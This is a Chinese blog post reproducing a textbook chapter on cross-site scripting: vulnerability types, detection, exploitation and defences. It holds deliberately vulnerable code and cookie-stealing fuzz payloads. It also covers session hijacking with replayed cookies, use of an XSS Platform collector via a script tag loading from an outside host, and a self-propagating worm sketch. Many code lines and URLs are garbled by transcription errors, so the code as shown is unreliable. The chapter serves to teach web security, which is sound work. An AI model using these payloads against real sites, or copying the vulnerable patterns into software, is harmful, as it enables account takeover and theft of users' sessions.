【第七章】XSS 跨站指令碼漏洞

Rookie8j發表於2020-07-22

XSS 又叫CSS (Cross Site Scripting),即跨站指令碼攻擊,是最常見的Web應用程式安全漏洞之一,在2013年度Owasp top 10中排名第三。

XSS 是指攻擊者在網頁中嵌入客戶端指令碼,通常是JavaScript 編寫的惡意程式碼,當使用者使用瀏覽器瀏覽被嵌入惡意程式碼的網頁時,惡意程式碼將會在使用者的瀏覽器上執行。

從上述內容可知,XSS 屬於客戶端攻擊,受害者最終是使用者。不要以為受害者是使用者,就認為跟自己的網站、伺服器安全沒有關係。但請注意,千萬不要忘記網站管理人員也屬於使用者之一,這就意味著XSS 可以攻擊“伺服器端”。因為管理員要比普通使用者的許可權大得多,一般管理員都可以對網站進行檔案管理、資料管理等操作,而攻擊者就有可能靠管理員身份作為“跳板”實施攻擊。

7.1 XSS 原理解析

XSS 攻擊是在網頁中嵌入客戶端惡意指令碼程式碼,這些惡意程式碼一般是使用JavaScript 語言編寫的(也有使用ActionScript、 VBScript 等客戶端指令碼語言編寫的,但較為少見)。所以,如果想要深入研究XSS,必須要精通JavaScript。 JavaScript 能做到什麼效果,XSS 的威力就有多大。

JavaScript 可以用來獲取使用者的Cookie、改變網頁內容、URL 調轉,那麼存在XSS 漏洞的網站,就可以盜取使用者Cookie、黑掉頁面、導航到惡意網站,而攻擊者需要做的僅僅是向Web 頁面中注入JavaScript 程式碼。

下面是一段最簡單的XSS 漏洞例項,其程式碼很簡單,在Index.html 頁面中提交資料後,在PrintStr 頁面顯示。
Index.html頁面程式碼如下:

<form action="PrintStr" method="post" >
	<input type="text" name="username" /> <input type="submit" value="提交" />
</form>

PrintStr 頁面程式碼如下:

<%
	String name = request.getParameter("username");
	out.print1n("您輸入的內容是:" + name);
%>

當輸入時,將觸發XSS攻擊,如圖所示。
在這裡插入圖片描述

攻擊者可以在方式來載入外部指令碼,而在x.txt 中就存放著攻擊者的惡意JavaScript 程式碼,這段程式碼可能是用來盜取使用者的Cookie,也可能是監控鍵盤記錄等惡意行為。

注: JavaScript 載入外部的程式碼檔案可以是任意副檔名(無副檔名也可以),如:<scriptsrc=“ttp://www.secbug.or/x.jpg”>,即使檔案為圖片副檔名x.jpg,但只要其檔案中包含,JavaScript程式碼就會被執行。

7.2 XSS 型別

XSS 主要被分為三類,分別是:反射型、儲存型和DOM型。下面將一一介紹每種XSS 型別的特徵。

7.2.1 反射型XSS

反射型XSS 也被稱為非持久型XSS,是現在最容易出現的一種 XSS漏洞。當使用者訪問個帶有XSS 程式碼的URL 請求時,伺服器端接收資料後處理,然後把帶有XSS程式碼的資料發這到瀏覽器,瀏覽器解析這段帶有XSS 程式碼的資料後,最終造成XSS漏洞。這個過程就像一次反射,故稱為反射型XSS。

下面舉例說明反射型XSS跨站漏洞。

<?php
	Susername = $_GET['username'];
	echo $username;
?>

在這段程式碼中,程式接收usermame 值後再輸出,如果提交xss.php?username=HIM,那麼程式將輸出HIM,如果惡意使用者輸入usemame=,將會造成反射型XSS漏洞。

可能有讀者會說:這似乎並沒有造成什麼危害,不就是彈出一個框嗎?如果你看下面這個例子,可能就不會這麼認為了。

假如http://www.secbug.org/xss.php存在XSS反射跨站漏洞,那麼攻擊者的步驟可能如下。

  • ① 使用者HIM 是網站www.secbug.org 的忠實粉絲,此時正泡在論壇看資訊。
  • ② 攻擊者發現www.secbug.org/xss.php 存在反射型XSS 漏洞,然後精心構造JavaScript程式碼,此段程式碼可以盜取使用者Cookie 傳送到指定的站點www.xxser.com。
  • ③ 攻擊者將帶有反射型XSS 漏洞的URL 通過站內信傳送給使用者HIM,站內信為一些誘惑資訊,目的是為讓使用者HIM 單擊連結。
  • ④ 假設使用者HIM 單擊了帶有XSS 漏洞的URL,那麼將會把自己的Cookie 傳送到網站www.xxser.com。
  • ⑤ 攻擊者接收到使用者HIM 的會話Cookie, 可以直接利用Cookie 以HIM 的身份登入www.secbug.org,從而獲取使用者HIM 的敏感資訊。

以上步驟,通過使用反射型XSS 漏洞可以以HIM 的身份登入網站,這就是其危害。

7.2.2 儲存型 XSS

儲存型XSS 又被稱為永續性XSS,儲存型XSS 是最危險的一種跨站指令碼。

允許使用者儲存資料的Web 應用程式都可能會出現儲存型XSS漏洞,當攻擊者提交一段 XSS 程式碼後,被伺服器端接收並儲存,當攻擊者再次訪問某個頁面時,這段XSS 程式碼被程式讀出來響應給瀏覽器,造成XSS 跨站攻擊,這就是儲存型XSS。

儲存型XSS 與反射型XSS、DOM型XSS相比,具有更高的隱蔽性,危害性也更大。它們之間最大的區別在於反射型XSS 與DOM 型XSS 執行都必須依靠使用者手動去觸發,而儲存型XSS 卻不需要。

下面是一個比較常見的儲存型XSS 場景示例。

在測試是否存在XSS 時,首先要確定輸入點與輸出點,例如,我們要在留言內容上測試xSS 漏洞,首先就要去尋找留言內容輸出(顯示)的地方是在標籤內還是在標籤屬性內,或者在其他地方,如果輸出的資料在屬性內,那麼XSS 程式碼是不會被執行的。如:

<input type="text" name= "content" value="<script>alert(1)</script>"/>

以上JavaScript程式碼雖然成功地插入到了HTML 中,但卻無法執行,因為XSS程式碼出現在Value 屬性中,被當作值來處理,最終瀏覽器解析HTML 時,將會把資料以文字的形式輸出在網頁中。

在知道了輸出點後,就可以根據相應的標籤構造HTML 程式碼來閉合,插入XSS 程式碼為“"/>"”,最終在HTML文件中為:

<input type="text" name="content" value=""/ ><script>alert(1)</script>"/>

這樣就可以閉合input 標籤,使輸出的內容不在Value 屬性中,從而造成XSS 跨站漏洞。

知道了最基本的XSS測試技巧後,下面來看看具體的儲存型XSS 漏洞,測試步驟如下。

  • ① 新增正常的留言,暱稱為“Xxser”,留言內容為"HelloWorld",使用Firebug 快速尋找顯示標籤,發現標籤為:
<li><strong>Xxser</strong><span class="message">HelloWor1d</span><span class="time">2013-05-26 20:18:13</span></1i>
  • ② 如果顯示區域不在HTML 屬性內,則可以直接使用XSS 程式碼注入。如果說不能得知內容輸出的具體位置,則可以使用模糊測試方案,XSS 程式碼如下。
<script>alert(document.cookie)</script>:普通注入;
" /><script>alert(document.cookie)</script>:閉合標籤注入;
</textarea>"><script>alert(document.cookie)</script>:閉合標籤注入。
  • ③ 在插入盜取Cookie的JavaScript程式碼後,重新載入留言頁面,XSS程式碼被瀏覽器執行。
    在這裡插入圖片描述

攻擊者將帶有XSS 程式碼的留言提交到資料庫,當使用者檢視這段留言時,瀏覽器會把XSS 程式碼認為是正常的JavaScript 程式碼來執行。所以,儲存型XSS 具有更高的隱蔽性。

7.2.3 DOM XSS

DOM 的全稱為Document Object Model,即文件物件模型,DOM 通常用於代表在HTML、XHTML 和XML 中的物件。使用DOM 可以允許程式和指令碼動態地訪問和更新文件的內容、結構和樣式。

通過JavaScript 可以重構整個HTML 頁面,而要重構頁面或者頁面中的某個物件,JavaScript 就需要知道HTML 文件中所有元素的“位置”。而DOM 為文件提供了結構化表示,並定義瞭如何通過指令碼來訪問文件結構。根據DOM 規定,HTML文件中的每個成分都是一個節點。

DOM 的規定如下。

  • 整個文件是一個文件節點;
  • 每個HTML標籤是一個元素節點;
  • 包含在HTML元素中的文字是文字節點;
  • 每一個HTML屬性是一個屬性節點;
  • 節點與節點之間都有等級關係;

HTML 的標籤都是一個個節點,而這些節點組成了DOM的整體結構:節點樹,如圖所示。
在這裡插入圖片描述
簡單瞭解了DOM 後,再來看DOM 型的XSS 就比較簡單了。

可以發現,DOM 本身就代表文件的意思,而基於DOM 型的XSS 是不需要與伺服器端互動的,它只發生在客戶端處理資料階段。

下面是一段經典的DOM 型XSS 示例。

<script>
	var temp = document.URL ;		//獲取URL
	var index = document.URL.indexOf("content=")+4;
	var par = temp.substring(index);
	document.write(decodeURI(par)); //輸入獲取內容
</script>

上述程式碼的意思是獲取URL 中content 引數的值,並且輸出,如果輸入htp://www.secbug.org/dom.html?content=,就會產生XSS漏洞。

7.3 檢測 XSS

檢測XSS 一般分為兩種方式,一種是手工檢測,另一種是軟體自動檢測,各有利弊。使用手工檢測時,檢測結果精準,但對於一個較大的Web 應用程式而言,手工檢測顯然是一件非常困難的事情。而使用軟體全自動檢測時,雖然方便,卻存在誤報,或是有些隱蔽的XSS 無法檢測出。

7.3.1 手工檢測XSS

使用手工檢測Web 應用程式是否存在XSS 漏洞時,最重要的是考慮哪裡有輸入、輸入的資料在什麼地方輸出。

使用手工檢測XSS 時,一定要選擇有特殊意義的字元,這樣可以快速測試是否存在XSS。

比如,測試某輸入框是否存在XSS 漏洞時,不要直接輸入XSS 跨站語句測試,應一步一步地進行,這樣更有利於測試。

1.可得知輸出位置

輸入一些敏感字元,例如“<、>、"、’、()”等,在提交請求後檢視HTML原始碼,看這些輸入的字元是否被轉義。

在輸出這些敏感字元時,很有可能程式已經做了過濾,這樣在尋找這些字元時就不太容易,這時可以輸入“AAAAA<>""&”字串,然後在查詢原始碼的時候直接查詢AAAAA或許比較方便。

2.無法得知輸出位置

非常多的Web 應用程式原始碼是不對外公開的,這時在測試XSS 時就有可能無法得知輸入資料到底在何處顯示,比如,測試某留言本是否存在XSS,那麼在留言之後,可能需要經過管理員的稽核才能顯示,這時無法得知輸入的資料在後臺管理頁面處於何種狀態,
例如:

在<div>標籤中: <div>XSS Test </div>
在<input>標籤中: <input type="text" name= "content" value= "XSS Test" />

對於這種情況,通常會採用輸入“"/>XSS Test”來測試。

7.3.2 全自動檢測XSS

像之前使用過的APPSCAN、AWVS、Burp Suite 等軟體,都可以有效地檢測XSS跨站漏洞,但這類大型漏掃工具除檢測XSS外,還會檢測SQL注射、檔案包含、應用程式錯誤等漏洞。

雖然這類大型漏掃可以配置只檢測XSS,但卻不如專業的XSS 檢測工具效率高。

專業的XSS掃描工具有很多,像有名的XSSER、XSSF 都是不錯的選擇。也有安全愛好者製作了掃描XSS漏洞的Web服務,如: htp://www.domxsscanner.com/,專門用來掃描DOM型別的XSS。

一定要工具與手工並進,才能更好地檢測XSS。比如,在掃描XSS時,很多掃描器一般都無法檢測非常規的XSS 漏洞,為什麼?例如,在提交留言時可能需要簡訊驗證、驗證碼填寫等,工具是無法做到的。

7.4 XSS 高階利用

XSS 不僅僅是彈出一個框那麼簡單,在某些情況下,XSS 不弱於SQL 注射。下面列舉幾個常見的危害。

  • 盜取使用者Cookie;
  • 修改網頁內容;
  • 網站掛馬;
  • 利用網站重定向;
  • XSS蠕蟲。

7.4.1 XSS 會話劫持

1.Cookie 簡介

在介紹HTTP 協議的時候提到過Cookie,但只是做了簡短的說明,並沒有深入,下面將詳細講解Cookie。

Cookie 是能夠讓網站伺服器把少量文字資料儲存到客戶端的硬碟、記憶體,或是從客戶端的硬碟、記憶體讀取資料的一種技術。說起Cookie,大多人都會想到HTTP 協議。沒錯,因為HTTP 協議是無狀態的,Web伺服器無法區分請求是否來源於同一個瀏覽器。所以,Web 伺服器需要額外的資料用於維護會話。Cookie 正是一段隨HTTP 請求、響應一起被傳遞的額外資料,它的主要作用是標識使用者、維持會話

當你瀏覽某個網站時,該網站可能向你的電腦硬碟寫入一個非常小的文字檔案,它可以記錄你的使用者ID、密碼、停留的時間等資訊,這個檔案就是Cookie 檔案。當你再次來到該網站時,瀏覽器會自動檢測你的硬碟,並將儲存在本地的Cookie 傳送給網站,網站通過讀取Cookie,得知你的相關資訊,就可以做出相應的動作,如:直接登入, 而無須再次輸入賬戶和密碼。

Cookie 按照在客戶端中儲存的位置,可分為記憶體Cookie 和硬碟Cookie記憶體Cookie 由瀏覽器維護,儲存在記憶體中,瀏覽器關閉後就消失,其存在時間是短暫的。硬碟Cookie 儲存在硬碟裡,有一個過期時間,除非使用者手工清理或到了過期時間,否則硬碟Cookie不會被刪除,其存在時間是長期的。

所以,Cookie 也可分為持久Cookie 和非持久Cookie。

一個使用者的電腦裡可能有多個Cookie 存在,它們分別是不同網站儲存的資訊,但是你不用擔心,一個網站只能取回該網站本身放在電腦的Cookie, 它無法得知電腦上其他的Cookie資訊,也無法取得其他任何資料。Cookie也是有限制的,大多數瀏覽器支援最大為4096B的Cookie,這樣就限制了Cookie的大小最多也只能在4KB 左右。而且瀏覽器也限制站點可以在使用者計算機上儲存Cookie 的數量,大多數瀏覽器只允許每個站點儲存20個Cookie。如果試圖儲存更多的Cookie,則最舊的Cookie 便會被丟棄。有些瀏覽器還會對來自所有站點的Cookie 總數做出絕對限制,通常為300個。

2.Cookie 格式

當Cookie 被儲存在電腦硬碟時,不同的瀏覽器儲存Cookie 的位置也不相同,如: IE 的Cookie 儲存位置在“C:Documents and Settings\使用者名稱\Cookies”資料夾中。每個Cookie 檔案都是一個TXT 檔案,都以“使用者名稱@網站URL"來命名。

下面是一段典型的Cookie:

Cookie:SUID=F2DF1974320C0C0A51B67EB300098FFB;
ad=1111111112SHXf811111VpLKrG11111NxXKDkl1119111l1jCx1w@@@@@@@@@@@;
CXID=BC4A08EF2CC3E9DB259B3543B0354757

Cookie 由變數名(Key) 和值(Value) 組成,其屬性裡既有標準的Cookie 變數,也有使用者自己建立的變數,屬性中的變數用“變數=值”的形式來儲存。

Cookie 格式如下:

Set-Cookie: <name>=<value>[;<Max-Age>=<age>][; expires=<date>][;domain=<domain_name>][; path=<scme_path>][; secure][; Httponly]

其中,各選項的含義如下。

  • Set-Cookie:HTTP 響應頭,Web伺服器通過此HTTP 頭向客戶端傳送Cookie;
  • name=value:這是每一個Cookie 均必須有的部分。使用者可以通過name 取得Cookie 中存放的值(Value)。 在字串“name=value" 中,不含分號、逗號和空格等字元;
  • expires=date:Expires 確定了Cookie 的有效終止日期,該屬性值date 必須以特定的格式來書寫“星期幾,DD-MM-YY HH:MM:SS GMT”,其中,GMT 表示這是格林尼治時間。反之,若不以這樣的格式來書寫,系統將無法識別。該變數可省,如果預設,則Cookie 的屬性值不會儲存在使用者的硬碟中,而僅僅儲存在記憶體中,Cookie 將隨瀏覽器的關閉而自動消失;
  • domain=domain-name:Domain 變數確定了哪些Internet 域中的Web 伺服器可讀取瀏覽器儲存的Cookie,即只有來自這個域的頁面才可以使用Cookie 中的資訊。這項設定是可選的,如果預設,值為該Web 伺服器的域名;
  • path=path:Path屬性定義了Web 伺服器上哪些路徑下的頁面可獲取伺服器傳送的Cookie。如果Path 屬性的值為“/”,則Web伺服器上所有的WWW 資源均可讀取該Cookie。同樣,該項設定是可選的,如果預設,則Path 的屬性值為Web伺服器傳給瀏覽器的資源路徑名。藉助對domain 和path 兩個變數的設定,即可有效地控制Cookie 檔案被訪問的範圍。
  • Secure:在Cookie 中標記該變數,表明只有當瀏覽器和Web Server 之間的通訊協議為加密認證協議時,瀏覽器才向伺服器提交相應的Cookie。當前這種協議只有一種,即為HTTPS;
  • HttpOnly:禁止JavaScript讀取。

Cookie 中的內容大多數經過了加密處理,因此一般使用者看來只是一些毫無意義的字母數字組合,只有伺服器的處理程式才知道它們真正的含義。

3.讀寫Cookie

像JavaScript、Java、 PHP、 ASP.NET都擁有讀寫Cookie 的能力。下面以CookieTest 頁面為例,觀察HTTP 響應Set-Cookie頭。

public class CookieTest extends HttpServlet {
	public void doGet (HttpServletRequest request, HttpServletResponse response)
		throws ServletException, IOException {
		this.doPost (request, response);
	}
	public void doPost (HttpServletRequest request, HttpServletResponse response)
		throws ServletException, IOException {
			Printwriter out = response.getWriter();
			Cookie c[] = request.getCookies() ;
			if(c!=nu1l) {
				for (int i = 0; i < c.length; i++) {
					Cookie cookie = c[i];
					out.print ("Welcome "+cookie.getValue()) ;
				}
			}else{
				String username = request.getParameter ("username") ;
				if (username !=null&&! "".equals (username)) {
					Cookie ck = new Cookie ("Name", username) ;
					response.addCookie (ck) ;
				}
			}
		}
	}

第一次訪問URL: http://ocalhost:952/s/CookieTest?usernamne=xxser,本地Cookie為空。

再次請求CookieTest 頁面,瀏覽器將會自動帶入HTTP Cookie 頭欄位,並且返回資料“Welcome xxser”。

4.JavaScript 操作Cookie

在開發中使用Cookie 作為身份標識是很普遍的事情,但是從另一個角度來看,如果網站存在XSS跨站漏洞,那麼利用XSS漏洞就有可能盜取使用者的Cookie,使用使用者的身份標識。比較通俗地說,就是不使用使用者的賬號和密碼就能夠登入使用者的賬戶。

登入dedecms 後臺管理之後,重新整理主頁面Index.php,然後使用Burp Suite 攔截請求,請求如下:

GET /dede/ index.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html, application/ xhtml + xml , application/xml;q=0.9, */*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: menuitems=1_182C2_182C3_1; PHPSESSID= kr01gim08alie9n26v8k212957;
DedeUserID=l; DedeUserID_ckMd5=574425f785a435e2; DedeLoginTime=1 371032871;
DedeLoginTime_ckMd5= 6bc144032c20bd26

在以上這段HTTP 請求頭中可以看到有Cookie 欄位,這就是Web伺服器向客戶端傳送的Cookie,當攻擊者拿到這段Cookie 後,就可以使用當前使用者的身份登入網站。下面將演示如何使用這段Cookie 在另外一個瀏覽器上登入。

開啟Burp Suite, 選擇“Proxy”→“Options"→“Match and Replace" 命令匹配和替換模組,單擊“Add”按鈕新增Request header。在Match 輸入框內輸入要替換的請求頭,這裡為正規表示式,如果不填寫正規表示式,那麼Burp Suite 只能替換指定的字元。在Replace 輸入框中填寫入要替換的Cookie。

上面步驟中,如果發現有Cookie 請求頭,就替換為更改後的Cookie。 訪問URL:htp://ocalhost/de/index php,使用Burp Suite攔截請求,發現Cookie已經替換為指定的Cookie,並且沒有輸入賬號和密碼,就登入到了後臺管理頁面。

如果感覺用Burp 比較麻煩也可以用Chrome 瀏覽器自帶的Console 來完成。

注:有些開發者使用Cookie時,不會當作身份驗證來使用,比如,儲存一些臨時資訊。這時,即使黑客拿到了Cookie 也是沒有用處的。並不是說只要有Cookie,就可以“會話劫持”。

5.SESSION

除Cookie之外,維持會話狀態還有一種形式是SESSION。SESSION 在計算機中,尤其是在網路應用中,被稱為“會話”。SESSION 機制是一種伺服器端的機制,伺服器使用一種類似於雜湊表的結構來儲存資訊。

Web 中的SESSION 是指使用者在瀏覽某個網站時,從進入網站到瀏覽器關閉所經過的這段時間,也就是一次客戶端與伺服器端的“對話”,被稱為SESSION,當瀏覽器關閉後,SESSION自動登出。

每個使用者的會話狀態都是不同的SESSION,比如,管理員登入網站,那麼這是一個SESSION,普通使用者登入網站又是一個SESSION,每個SESSION 都是不同的。那麼伺服器如何區分這些使用者呢,依靠的就是SESSIONID。

當使用者第一次連線到伺服器時,會自動分配一個SESSIONID,這個SESSIONID 是唯一的且不會重複的“編號”。如果伺服器關閉或者瀏覽器關閉,SESSION 將自動登出,當使用者再次連線時,將會重新分配。

SESSIONID 可以儲存在Cookie 中,相當於臨時Cookie。SESSIONID 也可能以其他方式展現,例如:

http://www.xxsercom/user.action;jsessionid=7DIFF1EBEE355509E01ED94AEA6C9D7

SESSION 與Cookie 最大的區別在於,Cookie 是將資料儲存在客戶端,而SESSSION 則是儲存在伺服器端,僅僅是在客戶端儲存一個ID。相對來說,SESSION 比Cookie 要安全。

在瞭解了基本的SESSION 原理之後,反過來深思,SESSION 是瀏覽器與伺服器之間的一次會話,其中依靠的是SESSIONID 來區分不同的使用者,當瀏覽器關閉後,SESSION 會隨之消失,那麼,如果在瀏覽器與伺服器會話沒有結束之前拿到這個SESSIONID,是否也同樣能會話劫持呢?

7.4.2 XSS Framework

隨著XSS漏洞的興起,一些XSS漏洞利用框架也隨之出現,其中比較優秀的有BeEF、XSS Proxy、Backframe,像國內的XSSER.ME(XSS Platform) 也是比較優秀的XSS漏洞利用框架。這些框架的出現讓安全工作人員測試變得更便利,但對攻擊者來說,也同樣相當於手裡多了一把利劍。

那麼XSS漏洞利用框架到底有什麼作用呢?其實XSS 框架是一組“JavaScript工具集合”,比如,鍵盤輸入記錄、盜取Cookie、表單擊劫持等。使用起來非常簡單,完全不需要編寫程式碼,這就是框架的作用。

目前為止,在國內最優秀的、使用最多的XSS平臺非XSSER.ME莫屬,這是一個非常有思想、讓xss“活”起來的平臺,非常適合國內讀者。

XSSER.ME 其實就是XSS Platform 的域名,XSS Platform 就是一款XSS 漏洞利用程式碼的組合,其中包括最基本的獲取Cookie、獲取HTML程式碼、鍵盤記錄、基礎認證釣魚等功能。平臺地址:https://xss.pt

XSS Platform 在後來已經開源,很多安全研究者也都搭建了自己的XSS Platform。登入XSS Platform後,主介面如圖。

在這裡插入圖片描述
公共模組中是xss Platform 預先提供的三個模組,分別是:基礎認證釣魚模組、XSS.JS 模組和預設模組。下 面將演示如何使用XSS Platform 獲取Cookie。

選擇“我的專案”→“建立”,可進入建立專案嚮導介面,如圖所示。
在這裡插入圖片描述
寫完專案名稱及描述後,單擊“下一步”按鈕配置XSS攻擊程式碼介面,如圖所示。
在這裡插入圖片描述
在選擇攻擊模組時,選擇“預設模組”(該模組是專門用來獲取Cookie 的),接下來XSS Platform 會提供以下兩個選項:

  • 無keepsession
  • keepsession

keepsession 的意思是保持連線,也就是當獲取到目標網站的Cookie 後,保持這個Cookie。因為目標網站Cookie 可能是有時效的,比如時效為5分鐘,那麼當接收到這個Cookie 後,沒有及時檢視,Cookie 過期失效了,那麼這個Cookie就沒有用處了。

當選擇keepsession 後,XSS Plaform將會一直在後臺重新整理Cookie,也就是保持這個Cookie的有效性,反之,無keepsession 就是不保持連線。

這裡選擇“keepsession",然後單擊“下一步”按鈕,將顯示“xxser.com”的配置資訊和測試程式碼,如圖所示。
在這裡插入圖片描述
在配置資訊中給出了專案程式碼,也就是預設模組的程式碼,一般來說,最常用的是第一種方式, 因為它短小精悍。在任何有可能出現XSS的地方,都可以使用這句話測試,比如,給管理員發站內信、給使用者評論等。

可能剛開始攻擊者並不知道目標網站是否存在XSS 跨站漏洞,比如,留言需要核審,傳送資訊並沒有回應。總之,就是無法“回顯”(得知輸出),那麼攻擊者就可以使用守株待兔的方式來確定網站是否存在XSS跨站漏洞。比如,在任何可以插入資訊的地方插入

<sCRiPt sRC=//xss.pt/yIyf></sCrIpT>

當XSS Platform 收到資訊之後,就可以確定網站確實存在XSS跨站漏洞。
在國內,XSS跨站漏洞利用平臺目前不僅有XSSER.ME,還有一些其他的優秀平臺,比如XSSING。在XSS 平臺的基礎上又擴充了許多實用的小功能,比如,使用者可以繫結郵件,當平臺接收到訊息後,傳送郵件提醒使用者等功能。

7.4.3 XSS 蠕蟲

說到XSS 蠕蟲(XSSWorm),可能大部分讀者會想到蠕蟲病毒,蠕蟲病毒能傳播自身到其他的計算機系統中,對計算機系統的破壞非常大。可以說,蠕蟲病毒就是具有“傳染”性的惡意軟體。

XSS 蠕蟲也不例外,同樣具有“傳染性”,與系統病毒的唯一區別就是無法對系統底層操作,因為XSS蠕蟲一般是基於JavaScript 編寫,而JavaScript 最大的用武之地是Web,但對於底層程式設計能力幾乎為零。所以,一般來說,XSS 蠕蟲是針對瀏覽器的攻擊,且網站規模越大,攻擊效果就越大。在大使用者量的情況下,XSS 蠕蟲完全可以在短時間內達到對巨大數量的“計算機”感染。

XSS 蠕蟲最早出現在2005年10月初的MySpace.com 網站系統(著名網路社群),在僅僅20個小時之內就有超過100萬名使用者被感染,這是世界上的第一條XSS蠕蟲。

XSS 蠕蟲大多數出現在大使用者量的網站平臺,比如微博、貼吧等一些社交網站, 因為只有當使用者量足夠多的情況下,XSS蠕蟲才能發揮效果。下面將模擬XSS蠕蟲攻擊微博聽眾。

攻擊者在展開xss 蠕蟲攻擊之前,首先需要對網站的業務、功能有所瞭解,然後才可以針對性地編寫擁有自主傳播性的XSS 蠕蟲。比如,http://www.xser.com 是微博系統,並且擁有1000萬名使用者量。攻擊者的目的是建立XSS 蠕蟲,這隻“子”的作用就是讓更多的使用者收聽自己。

那麼攻擊者首先需要做的就是分析如何讓他人收聽自己,這一步比較簡單, 假設訪問以下URL,就可以收聽自己的微博:

http://www.xxser.com/Listen.php?userid=888

知道這一點之後,攻擊者需要考慮的下一個問題是如何自主傳播?這一步是最關鍵的,假設發表微博存在儲存型XSS 跨站漏洞,也就意味著,當攻擊者發表一個微博(含有xss漏洞利用程式碼)後,所有看到此微博資訊的使用者都會中招,也就是收聽攻擊者賬戶。那麼這就是一個突破點,但這樣沒有意義,因為一般能看到你發表微博資訊的都已經是你的聽眾了。這就不得不尋找另外一個切入點,這個切入點就是讓使用者轉發此篇微博,這樣才是擁有傳播性的“蟲子”。假設攻擊者發現以下連結可以轉發微博:

http://www.xxser.com/forward.php?userid=7&articleid=86

userid 為使用者ID, articleid 為轉發微博ID,此時難點又來了,articleid是固定的,但是userid 卻不是,每個使用者ID 都是不一樣的,必須想辦法獲取使用者ID 才可以轉發,剛好網站提供瞭如何檢視自己ID 的頁面,訪問以下網址:

http://www.xxser.com/userinfo.php

在這個URL 返回的HTML 程式碼中包含了使用者的ID,在得知這麼多的條件之後,攻擊者就可以發起XSS 蠕蟲攻擊,步驟如下:

  • ① 發表一個正常的微博訊息,並且記錄articleid。
  • ② 獲取使用者的userid,此處使用AJAX 技術訪問htp://www.xxser.com/userinfo.php頁面,獲取HTML 原始碼,並且將userid拆分出來。
  • ③ 構建使用者並轉發微博的URL:
<script>
function GetUserId() {
	... //通過AJAX獲取UserId
	return UserId ;
}

function GetForWardUrl () {
	var UserId = GetUersId() ;
	var ForWa rdUrl="http://www.xxser.com/forward.php?userid="+Userid+"&articleid=86";
	return ForWardUrl ;
}
</script>
  • ④ 編輯微博,插入XSS蠕蟲程式碼,實現XSS蠕蟲攻擊:
<script>
function ListenUser () {
	var listenUrl = "http://www.xxser.com/Listen.php?userid=888";
	... //通過AJAX或者其他方式訪問此URL收聽HIM
}

function ForWard() {
	var forWardUrl = GetForWardUrl () ;//獲取轉發Url
	...//通過AJAX或者其他方式訪問此URL轉發微博
}

function attack() {
	ForWard() ; //先轉發,再收聽
	ListenUser() ;
	}
	attack() ;//蠕蟲開始
</script>

如果微博限制內容長度,則可以通過匯入外部JS 的方式來縮短內容,比如:

<script src=http://www.xxser.com/1.js></script>

通過上述簡單的幾個步驟就完成了XSS 蠕蟲攻擊,XSS蠕蟲攻擊以金字塔的形式傳播。如果攻擊者寫一個誘惑性比較大的微博,相信傳播的速度會更快。

當然,這僅僅是實驗,相信沒有一個社群會讓攻擊者輕易製造XSS 蠕蟲,但萬變不離其宗,XSS蠕蟲的核心就是擁有自主傳播性質,其危害不再闡述。

7.5 修復XSS跨站漏洞

XSS 跨站漏洞最終形成的原因是對輸入與輸出沒有嚴格過濾,在頁面執行JavaScript 等客戶端指令碼,這就意味著只要將敏感字元過濾,即可修補XSS跨站漏洞。但是這一過程卻是 複雜無比的,很多情況下無法識別哪些是正常字元,哪些是非正常字元。下面將介紹幾種XSS過濾方法供讀者選擇。

7.5.1 輸入與輸出

在HTML中,<、>、"、、&都有比較特殊的意義,因為HTML標籤、屬性就是由這幾個符號組成的。如果直接輸出這幾個特殊字元,極有可能破壞整個HTML文件的結構。所以,一般情況下,XSS 將這些特殊字元轉義。在PHP 中提供了htmlspecialchars()、htmletities0函式可以把一些預定義的字元轉換為HTML實體。

預定義的字元如下

  • & (和號)成為&
  • " (雙引號)成為"
  • ’ (單引號)成為’
  • < (小於)成為<
  • > (大於)成為&gto

當字串經過這類函式處理後,敏感字元將會被一一轉義,例如,PHP程式碼如下:

<?php
	@$html = $_GET['xss'];
	if ($html) {
		echo htmlspecialchars ($html) ;
	}
?>

此時在提交

http://www.xxser.com/xss.php?xss=<scrip>alr(xss/)</script>

後,將不再彈出視窗,因為敏感字元已經被轉義。

在Java中也存在非常多的第三方元件支援過濾XSS漏洞,比如,OWASP Esapi、JSOUP、xssprotect等,這裡簡單介紹一下JSOUP。

JSOUP是一款Java 的HTML 解析器,可直接解析URL地址、HTML文字內容。它提供了一套非常高效的API,可通過DOM、CSS以及類似於JQuery的操作方法來取出和操作HTML 資料。

JSOUP 與其他眾多的過濾方式不一樣,JSOUP 採用的是白名單的模式。比如,過濾“<>’”等敏感字元後,有一天突然出現一個新漏洞,那麼你的規則中恰巧沒有,就會出現問題。下面來看看JSOUP 的白名單過濾方式。

使用JSOUP HTML Cleaner 方法可以清除XSS 漏洞,但需要指定一個可配置的Whitelist。

String unsafe = "<p><a href='http://example.com/' onclick='stealCookies()'>Link</a></p>";
String safe = Jsoup.clean(unsafe, Whitelist.basic());

輸出結果為:

<p><a hrettp://xample.com/” rel="nofollow">Link</a></p>

可以發現onclick事件不見了。

JSOUP 的whitelist 清理器能夠在伺服器端對使用者輸入的HTML 進行過濾,只輸出一些安全的標籤和屬性。例如,使用simpleText()方法就只能使用“b、em、i、 strong、u”這幾個有限的標籤。

JSOUP 提供了一系列的Whitelist 基本配置,能夠滿足大多數要求。但如有必要,你也可以自己修改,並對其進行配置。

雖然JSOUP 可以有效地防範XSS,但卻屬於HTML 解析元件,在此建議不妨試試OWASP ESAPI。前面曾經提到過OWASP ESAPI,現在來詳細看看OWASP ESAPI。

OWASP ESAPI 工具包是專門用來防禦安全漏洞的API,如SQL 注入、XSS、CSRF等知名漏洞。目前支援JavaEE、ASP、NET、PHP、Python 等語言,下 面來看看OWASP ESAPI 防禦XSS 是否與JSOUP 類似?

迴歸到xSS的本質,XSS 的本質是在伺服器響應資料時,插入可執行程式碼,這些程式碼分別插在不同的位置上。下 面列出XSS可能發生的場景,然後來看Owasp ESAPI的解決方法。

(1)在標籤內輸出

<div>${xss}</div>
<a href="http://www.xxser.com">${xss}</a>
<h3>${xss}</h3>
<p>${xss}</p>
<ul>${xss}</u1>
......

若在標籤內,輸出資料則無須構造標籤,直接控制${xss}變數就可以造成XSS 漏洞,這是最簡單的一種XSS 跨站,比如:

<div><script>alert(/xss/)</script></div>

